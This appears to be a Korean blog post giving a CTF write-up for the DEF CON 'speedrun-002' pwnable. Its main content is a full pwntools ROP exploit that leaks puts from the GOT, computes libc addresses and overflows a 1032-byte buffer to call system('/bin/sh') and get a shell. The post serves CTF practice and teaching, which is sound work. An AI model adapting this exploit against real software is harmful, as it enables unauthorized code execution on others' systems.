본문 바로가기

CTF/Defcon

Defcon pwnable_speedrun-002 Write up

일단 ROP 문제이다

ROP 하라고 친절하게 plt,got 준다.

일단 puts 로 릭한다음에 원가젯으로 박살내면 된다.

일단 서버가 데프콘 서버가 아니라서 맞는 libc 가 아니라 실제 offset 이 틀리다.

이점 감안하고 익스를 봐야된다.

 

libc 확인하는법은 마지막 12비트는 검색하면 맞는 libc 가 나온다.

https://libc.blukat.me

 

최종 익스플로잇은

from pwn import *

p = process("speedrun-002")
binf = ELF("speedrun-002")

context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

#addr_read_got = binf.got['read']
#addr_read_plt = binf.plt['read']
#addr_write_got = binf.got['write']
#addr_write_plt = binf.plt['write']
addr_bss = binf.bss()
addr_puts_got = binf.got['puts']
addr_puts_plt = binf.plt['puts']
addr_pr = 0x004008a3
addr_main = 0x4007CE
system_offset = 0x2a300
binsh_offset = 0x1479c7

p.recvuntil("?\n")
p.sendline("Everything intelligent is so boring.")
p.recvuntil("Tell me more.\n")

payload = "A"*1032
payload += p64(addr_pr)
payload += p64(addr_puts_got)
payload += p64(addr_puts_plt)
payload += p64(addr_main)

p.send(payload)

p.recvline()
addr_leak = u64(p.recv(6).ljust(8, '\x00'))
addr_libc_system = addr_leak - system_offset
addr_libc_binsh = addr_libc_system + binsh_offset

log.info("leak addr :" + hex(addr_leak))
log.info("libc_system :" + hex(addr_libc_system))
log.info("libc_binsh :" + hex(addr_libc_binsh))

p.recvuntil("?\n")
p.sendline("Everything intelligent is so boring.")
p.recvuntil("Tell me more.\n")

payload = "A"*1032
payload += p64(addr_pr)
payload += p64(addr_libc_binsh)
payload += p64(addr_libc_system)

p.send(payload)

p.interactive()

이런식으로 진행했다.

'CTF > Defcon' 카테고리의 다른 글

Defcon pwnable_speedrun-001 Write up  (0) 2019.10.23
Defcon pwnable_r0pbaby Write up  (0) 2019.10.20
PlaidCTF pwnable_ropasaurusrex Write up  (0) 2019.10.20